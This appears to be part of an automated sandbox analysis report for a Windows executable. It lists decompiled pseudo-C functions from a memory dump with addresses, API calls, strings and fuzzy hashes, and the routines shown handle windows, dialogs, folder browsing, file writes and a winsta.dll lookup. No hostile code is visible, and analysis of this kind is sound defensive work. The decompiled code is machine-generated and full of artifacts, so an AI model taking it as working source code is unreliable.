Instruction Fuzzy Hash: 61017176C0410CBBCF006F99D8859DEBBB8EF40394F1080BEF80476161D7355E519B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406746, Relevance: 7.5, APIs: 5, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00406746(void* __esi) {
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t18;
				void* _t19;

				_t19 = __esi;
				_t9 =  *((intOrPtr*)(__esi + 0x30));
				if(_t9 != 0) {
					_push(_t9);
					L0040B272();
				}
				_t10 =  *((intOrPtr*)(_t19 + 0x40));
				if(_t10 != 0) {
					_push(_t10);
					L0040B272();
				}
				_t11 =  *((intOrPtr*)(_t19 + 0x2d4));
				if(_t11 != 0) {
					_push(_t11);
					L0040B272();
				}
				_t18 =  *((intOrPtr*)(_t19 + 0x2c0));
				if(_t18 != 0) {
					_t11 =  *_t18;
					if(_t11 != 0) {
						_push(_t11);
						L0040B272();
						 *_t18 = 0;
					}
					_push(_t18);
					L0040B272();
				}
				 *((intOrPtr*)(_t19 + 0x2c0)) = 0;
				 *((intOrPtr*)(_t19 + 0x30)) = 0;
				 *((intOrPtr*)(_t19 + 0x40)) = 0;
				 *((intOrPtr*)(_t19 + 0x2d4)) = 0;
				return _t11;
			}

0x00406746
0x00406746
0x0040674f
0x00406751
0x00406752
0x00406757
0x00406758
0x0040675d
0x0040675f
0x00406760
0x00406765
0x00406766
0x0040676e
0x00406770
0x00406771
0x00406776
0x00406777
0x0040677f
0x00406781
0x00406785
0x00406787
0x00406788
0x0040678e
0x0040678e
0x00406790
0x00406791
0x00406796
0x00406798
0x0040679e
0x004067a1
0x004067a4
0x004067ab

APIs

??3@YAXPAX@Z.MSVCRT ref: 00406752
??3@YAXPAX@Z.MSVCRT ref: 00406760
??3@YAXPAX@Z.MSVCRT ref: 00406771
??3@YAXPAX@Z.MSVCRT ref: 00406788
??3@YAXPAX@Z.MSVCRT ref: 00406791

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction ID: 2146815d826ad61a6329a34e2799f13692f9223f7a0132405705f454cb51ab02
Opcode Fuzzy Hash: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction Fuzzy Hash: E1F0ECB2504701DBDB24AE7D99C881FA7E9BB05318B65087FF14AE3680C738B850461C

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABA5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040ABA5(intOrPtr __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr _v12;
				void* __ebx;
				intOrPtr _t37;
				intOrPtr _t42;
				RECT* _t44;

				_push(__ecx);
				_push(__ecx);
				_t42 = __ecx;
				_v12 = __ecx;
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t37 = _a12;
							 *((intOrPtr*)(_t37 + 0x18)) = 0xc8;
							 *((intOrPtr*)(_t37 + 0x1c)) = 0xc8;
						}
					} else {
						E00402EC8(__ecx + 0x378);
					}
				} else {
					_v8 = BeginDeferWindowPos(3);
					_t44 = _t42 + 0x378;
					E00402E22(_t44, _t21, 0x65, 0, 0, 1, 1);
					E00402E22(_t44, _v8, 1, 1, 1, 0, 0);
					E00402E22(_t44, _v8, 2, 1, 1, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t44 + 0x10), _t44, 1);
					_t42 = _v12;
				}
				return E00402CED(_t42, _a4, _a8, _a12);
			}

0x0040aba8
0x0040aba9
0x0040abb0
0x0040abb2
0x0040abb5
0x0040ac19
0x0040ac2c
0x0040ac2e
0x0040ac36
0x0040ac39
0x0040ac39
0x0040ac1b
0x0040ac21
0x0040ac21
0x0040abb7
0x0040abcb
0x0040abce
0x0040abd7
0x0040abe6
0x0040abf6
0x0040abfe
0x0040ac09
0x0040ac0f
0x0040ac12
0x0040ac4f

APIs

BeginDeferWindowPos.USER32(00000003), ref: 0040ABBA

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32 ref: 00402EB4

EndDeferWindowPos.USER32(?), ref: 0040ABFE
InvalidateRect.USER32(?,?,00000001), ref: 0040AC09

Strings

$, xrefs: 0040AC28

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction ID: c4de0c57513a3fc8bb763215dcca23c205eee760976c5819edcd99f4220bed98
Opcode Fuzzy Hash: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction Fuzzy Hash: 9A11ACB1544208FFEB229F51CD88DAF7A7CEB85788F10403EF8057A280C6758E52DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403A73, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A73(void* __esi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t14;

				if(_a8 == 0x100 && _a12 == 0x41) {
					GetKeyState(0xa2);
					if(E00403A60(0xa2) != 0 || E00403A60(0xa3) != 0) {
						if(E00403A60(0xa0) == 0 && E00403A60(0xa1) == 0 && E00403A60(0xa4) == 0) {
							_t14 = E00403A60(0xa5);
							if(_t14 == 0) {
								SendMessageW(_a4, 0xb1, _t14, 0xffffffff);
							}
						}
					}
				}
				return CallWindowProcW( *0x40f2f0, _a4, _a8, _a12, _a16);
			}

0x00403a7d
0x00403a8c
0x00403a9c
0x00403aba
0x00403adf
0x00403ae7
0x00403af4
0x00403af4
0x00403ae7
0x00403aba
0x00403a9c
0x00403b13

APIs

GetKeyState.USER32(000000A2), ref: 00403A8C

Part of subcall function 00403A60: GetKeyState.USER32(?), ref: 00403A64

SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00403AF4
CallWindowProcW.USER32(?,00000100,?,?), ref: 00403B0C

Strings

A, xrefs: 00403A7F

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: State$CallMessageProcSendWindow
String ID: A
API String ID: 3924021322-3554254475
Opcode ID: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction ID: 3f4bab65c8f2f559ff61c6136e8e970ba349fdfc906a465d58382778652fa82c
Opcode Fuzzy Hash: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction Fuzzy Hash: AC01483130430AAEFF11DFE59D02ADA3A5CAF15327F114036FA96B81D1DBB887506E59

Uniqueness

Uniqueness Score: -1.00%

Function 004034F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004034F0(void* __ecx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v20;
				char _v1072;
				void _v3672;
				char _v4496;
				intOrPtr _v4556;
				char _v4560;
				void* __edi;
				void* __esi;
				intOrPtr* _t41;
				void* _t45;

				_t45 = __eflags;
				E0040B550(0x11cc, __ecx);
				E00402923( &_v4560);
				_v4560 = 0x40db44;
				E00406670( &_v4496, _t45);
				_v4496 = 0x40dab0;
				memset( &_v3672, 0, 0x10);
				E0040A909( &_v1072);
				_t41 = _a4;
				_v4556 = 0x71;
				if(E00402CD5( &_v4560,  *((intOrPtr*)(_t41 + 0x10))) != 0) {
					L0040B266();
					 *((intOrPtr*)( *_t41 + 4))(1, _v20, _t41 + 0x5b2c, 0xa);
				}
				_v4496 = 0x40dab0;
				_v4560 = 0x40db44;
				E004067AC( &_v4496);
				return E00402940( &_v4560);
			}

0x004034f0
0x004034f8
0x00403506
0x00403516
0x0040351c
0x00403531
0x00403537
0x00403545
0x0040354a
0x00403556
0x00403567
0x00403575
0x00403583
0x00403583
0x00403586
0x00403592
0x00403598
0x004035ac

APIs

Part of subcall function 00402923: memset.MSVCRT ref: 00402935

Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066B9
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066E0
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406701
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406722

memset.MSVCRT ref: 00403537
_ultow.MSVCRT ref: 00403575

Strings

cf@, xrefs: 0040352B
q, xrefs: 00403556

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset$_ultow
String ID: cf@$q
API String ID: 3448780718-2693627795
Opcode ID: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction ID: aa1ed1bb2df2d11c17fc3d40a8ec787ac421495c908f782690464d4e039b4fd8
Opcode Fuzzy Hash: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction Fuzzy Hash: 73113079A402186ACB24AB55DC41BCDB7B4AF45304F0084BAEB09771C1D7796E888FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407E24, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407E24(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				signed short _v516;
				void _v1026;
				signed short _v1028;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				signed short* _t28;

				_v516 = _v516 & 0x00000000;
				_t26 = __ecx;
				memset( &_v514, 0, 0x1fc);
				_v1028 = _v1028 & 0x00000000;
				memset( &_v1026, 0, 0x1fc);
				_t17 =  *((intOrPtr*)( *_t26 + 0x24))();
				_t28 =  &_v516;
				E00407250(_t28, _t17);
				_push(_t28);
				_push(L"</%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t26, _a4,  &_v1028);
			}

0x00407e2d
0x00407e46
0x00407e48
0x00407e4d
0x00407e5f
0x00407e6b
0x00407e6f
0x00407e75
0x00407e7c
0x00407e7d
0x00407e88
0x00407e8d
0x00407e8e
0x00407eaa

APIs

memset.MSVCRT ref: 00407E48
memset.MSVCRT ref: 00407E5F

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407E8E

Strings

</%s>, xrefs: 00407E7D

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf_wcslwrwcscpy
String ID: </%s>
API String ID: 3400436232-259020660
Opcode ID: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction ID: 202c728a503fdded71e402cbdefdfedacf6d04e10f6749ebe2a15fa747ba2321
Opcode Fuzzy Hash: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction Fuzzy Hash: 820186B2D4012966D720A795CC46FEE766CEF44318F0004FABB08F71C2DB78AB458AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405E0A(intOrPtr __ecx, void* __eflags, struct HWND__* _a4) {
				void _v8198;
				short _v8200;
				void* _t9;
				void* _t12;
				intOrPtr _t19;
				intOrPtr _t20;

				_t19 = __ecx;
				_t9 = E0040B550(0x2004, __ecx);
				_t20 = _t19;
				if(_t20 == 0) {
					_t20 =  *0x40fe24; // 0x0
				}
				_t25 =  *0x40fb90;
				if( *0x40fb90 != 0) {
					_v8200 = _v8200 & 0x00000000;
					memset( &_v8198, 0, 0x2000);
					_push(_t20);
					_t12 = 5;
					E00405E8D(_t12);
					if(E00405F39(_t19, _t25, L"caption",  &_v8200) != 0) {
						SetWindowTextW(_a4,  &_v8200);
					}
					return EnumChildWindows(_a4, E00405DAC, 0);
				}
				return _t9;
			}

0x00405e0a
0x00405e12
0x00405e18
0x00405e1c
0x00405e1e
0x00405e1e
0x00405e24
0x00405e2c
0x00405e2e
0x00405e44
0x00405e49
0x00405e4c
0x00405e4d
0x00405e68
0x00405e74
0x00405e74
0x00000000
0x00405e84
0x00405e8c

APIs

memset.MSVCRT ref: 00405E44
SetWindowTextW.USER32(?,?), ref: 00405E74
EnumChildWindows.USER32 ref: 00405E84

Strings

caption, xrefs: 00405E59

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ChildEnumTextWindowWindowsmemset
String ID: caption
API String ID: 1523050162-4135340389
Opcode ID: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction ID: ff9fcce37bd20e8a069aa1bb12297d26d3abb42d57bfe77991e9b0a8e19eae59
Opcode Fuzzy Hash: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction Fuzzy Hash: 2DF04432940718AAEB20AB54DD4EB9B3668DB04754F0041B7BA04B61D2D7B8AE40CEDC

Uniqueness

Uniqueness Score: -1.00%

Function 00409A46, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409A46(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				struct HINSTANCE__* _t11;
				struct HINSTANCE__** _t14;
				struct HINSTANCE__* _t15;

				_t14 = __eax;
				if( *((intOrPtr*)(__eax)) == 0) {
					_t11 = E00405436(L"winsta.dll");
					 *_t14 = _t11;
					if(_t11 != 0) {
						_t14[1] = GetProcAddress(_t11, "WinStationGetProcessSid");
					}
				}
				_t15 = _t14[1];
				if(_t15 == 0) {
					return 0;
				} else {
					return _t15->i(0, _a4, _a16, _a20, _a8, _a12);
				}
			}

0x00409a4a
0x00409a4f
0x00409a56
0x00409a5e
0x00409a60
0x00409a6e
0x00409a6e
0x00409a60
0x00409a71
0x00409a76
0x00000000
0x00409a78
0x00000000
0x00409a89

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,WinStationGetProcessSid), ref: 00409A68

Strings

WinStationGetProcessSid, xrefs: 00409A62
Y@, xrefs: 00409A46
winsta.dll, xrefs: 00409A51

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: WinStationGetProcessSid$winsta.dll$Y@
API String ID: 946536540-379566740
Opcode ID: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction ID: f8fd4ca1437852706c932511ef9fc121d1f4ef25cad53c4396aefa54a2cc69ea
Opcode Fuzzy Hash: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction Fuzzy Hash: 4AF08236644219AFCF219FE09C01B977BD5AB08710F00443AF945B21D1D67588509F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040588E, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040588E(void** __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _t21;
				signed int _t23;
				void* _t24;
				signed int _t31;
				void* _t33;
				void* _t44;
				signed int _t46;
				void* _t48;
				signed int _t51;
				int _t52;
				void** _t53;
				void* _t58;

				_t53 = __esi;
				_t1 =  &(_t53[1]); // 0x0
				_t51 =  *_t1;
				_t21 = 0;
				if(_t51 <= 0) {
					L4:
					_t2 =  &(_t53[2]); // 0x8
					_t33 =  *_t53;
					_t23 =  *_t2 + _t51;
					_t46 = 8;
					_t53[1] = _t23;
					_t24 = _t23 * _t46;
					_push( ~(0 | _t58 > 0x00000000) | _t24);
					L0040B26C();
					_t10 =  &(_t53[1]); // 0x0
					 *_t53 = _t24;
					memset(_t24, 0,  *_t10 << 3);
					_t52 = _t51 << 3;
					memcpy( *_t53, _t33, _t52);
					if(_t33 != 0) {
						_push(_t33);
						L0040B272();
					}
					 *((intOrPtr*)( *_t53 + _t52)) = _a4;
					 *((intOrPtr*)(_t52 +  *_t53 + 4)) = _a8;
				} else {
					_t44 =  *__esi;
					_t48 = _t44;
					while( *_t48 != 0) {
						_t21 = _t21 + 1;
						_t48 = _t48 + 8;
						_t58 = _t21 - _t51;
						if(_t58 < 0) {
							continue;
						} else {
							goto L4;
						}
						goto L7;
					}
					_t31 = _t21 << 3;
					 *((intOrPtr*)(_t44 + _t31)) = _a4;
					 *((intOrPtr*)(_t31 +  *_t53 + 4)) = _a8;
				}
				L7:
				return 1;
			}

0x0040588e
0x0040588f
0x0040588f
0x00405892
0x00405896
0x004058a9
0x004058a9
0x004058ad
0x004058af
0x004058b5
0x004058b6
0x004058b9
0x004058c2
0x004058c3
0x004058c8
0x004058d2
0x004058d4
0x004058d9
0x004058e0
0x004058ea
0x004058ec
0x004058ed
0x004058f2
0x004058f9
0x00405902
0x00405898
0x00405898
0x0040589a
0x0040589c
0x004058a1
0x004058a2
0x004058a5
0x004058a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004058a7
0x00405912
0x00405915
0x0040591e
0x0040591e
0x00405907
0x0040590b

APIs

??2@YAPAXI@Z.MSVCRT ref: 004058C3
memset.MSVCRT ref: 004058D4
memcpy.MSVCRT ref: 004058E0
??3@YAXPAX@Z.MSVCRT ref: 004058ED

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction ID: bfbe461037e943c94cde62efea7f8de8011d206b5eb27adb1998baad11e83e26
Opcode Fuzzy Hash: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction Fuzzy Hash: 9F116A722046019FD328DF2DC881A2BF7E5EFD8300B248C2EE49A97395DB35E801CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACFC, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040ACFC(wchar_t* __esi, char _a4, intOrPtr _a8) {
				void* _v8;
				wchar_t* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				long _v564;
				char* _t18;
				char* _t22;
				wchar_t* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr _t30;
				void* _t35;
				char* _t36;

				_t18 =  &_v8;
				_t30 = 0;
				__imp__SHGetMalloc(_t18);
				if(_t18 >= 0) {
					_v40 = _a4;
					_v28 = _a8;
					_t22 =  &_v40;
					_v36 = 0;
					_v32 = 0;
					_v24 = 4;
					_v20 = E0040AC81;
					_v16 = __esi;
					__imp__SHBrowseForFolderW(_t22, _t35);
					_t36 = _t22;
					if(_t36 != 0) {
						_t23 =  &_v564;
						__imp__SHGetPathFromIDListW(_t36, _t23);
						if(_t23 != 0) {
							_t30 = 1;
							wcscpy(__esi,  &_v564);
						}
						_t24 = _v8;
						 *((intOrPtr*)( *_t24 + 0x14))(_t24, _t36);
						_t26 = _v8;
						 *((intOrPtr*)( *_t26 + 8))(_t26);
					}
				}
				return _t30;
			}

0x0040ad06
0x0040ad0a
0x0040ad0c
0x0040ad14
0x0040ad19
0x0040ad1f
0x0040ad23
0x0040ad27
0x0040ad2a
0x0040ad2d
0x0040ad34
0x0040ad3b
0x0040ad3e
0x0040ad44
0x0040ad48
0x0040ad4a
0x0040ad52
0x0040ad5a
0x0040ad64
0x0040ad65
0x0040ad6b
0x0040ad6c
0x0040ad73
0x0040ad76
0x0040ad7c
0x0040ad7c
0x0040ad7f
0x0040ad84

APIs

SHGetMalloc.SHELL32(?), ref: 0040AD0C
SHBrowseForFolderW.SHELL32(?), ref: 0040AD3E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040AD52
wcscpy.MSVCRT ref: 0040AD65

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction ID: e4c3f7e47c5e56e8be22c5f757262c1ae757d72ab7f138bc7c026954c7aa5c2b
Opcode Fuzzy Hash: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction Fuzzy Hash: B011FAB5900208EFDB10EFA9D9889AEB7F8FF48300F10416AE905E7240D738DA05CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00404A44, Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A44(void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				long _v8;
				long _v12;
				long _t13;
				void* _t14;
				struct HWND__* _t24;

				_t24 = GetDlgItem(_a4, _a8);
				_t13 = SendMessageW(_t24, 0x146, 0, 0);
				_v12 = _t13;
				_v8 = 0;
				if(_t13 <= 0) {
					L3:
					_t14 = 0;
				} else {
					while(SendMessageW(_t24, 0x150, _v8, 0) != _a12) {
						_v8 = _v8 + 1;
						if(_v8 < _v12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					SendMessageW(_t24, 0x14e, _v8, 0);
					_t14 = 1;
				}
				L4:
				return _t14;
			}

0x00404a62
0x00404a6a
0x00404a6e
0x00404a71
0x00404a74
0x00404a92
0x00404a92
0x00404a76
0x00404a76
0x00404a87
0x00404a90
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a90
0x00404aa3
0x00404aa7
0x00404aa7
0x00404a94
0x00404a98

APIs

GetDlgItem.USER32 ref: 00404A52
SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00404A6A
SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00404A80
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00404AA3

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item
String ID:
API String ID: 3888421826-0
Opcode ID: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction ID: a803108f18d13bdb161ef9cfeaea96f484be20865a03d7d0c1e8cd60aac843f5
Opcode Fuzzy Hash: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction Fuzzy Hash: 02F01DB1A4010CFEEB018FD59DC1DAF7BBDEB89755F104479F604E6150D2709E41AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004072D8, Relevance: 6.0, APIs: 4, Instructions: 41
filestringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004072D8(void* __ecx, void* __eflags, void* _a4, short* _a8) {
				long _v8;
				void _v8199;
				char _v8200;

				E0040B550(0x2004, __ecx);
				_v8200 = 0;
				memset( &_v8199, 0, 0x1fff);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff,  &_v8200, 0x1fff, 0, 0);
				return WriteFile(_a4,  &_v8200, strlen( &_v8200),  &_v8, 0);
			}

0x004072e0
0x004072f7
0x004072fd
0x00407316
0x00407342

APIs

memset.MSVCRT ref: 004072FD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00407316
strlen.MSVCRT ref: 00407328
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00407339

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction ID: b20814eff52bbcc052d034fa9df9783175f47b69a9638c3bed99c582471ba408
Opcode Fuzzy Hash: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction Fuzzy Hash: E7F0FFB740022CBEEB05A7949DC9DDB776CDB08358F0001B6B715E2192D6749E448BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408DC8, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408DC8(void** __eax, struct HWND__* _a4) {
				int _t7;
				void** _t11;

				_t11 = __eax;
				if( *0x4101b4 == 0) {
					memcpy(0x40f5c8,  *__eax, 0x50);
					memcpy(0x40f2f8,  *(_t11 + 4), 0x2cc);
					 *0x4101b4 = 1;
					_t7 = DialogBoxParamW(GetModuleHandleW(0), 0x6b, _a4, E00408ADB, 0);
					 *0x4101b4 =  *0x4101b4 & 0x00000000;
					 *0x40f2f4 = _t7;
					return 1;
				} else {
					return 1;
				}
			}

0x00408dd0
0x00408dd2
0x00408de2
0x00408df4
0x00408e01
0x00408e1b
0x00408e21
0x00408e28
0x00408e30
0x00408dd4
0x00408dd8
0x00408dd8

APIs

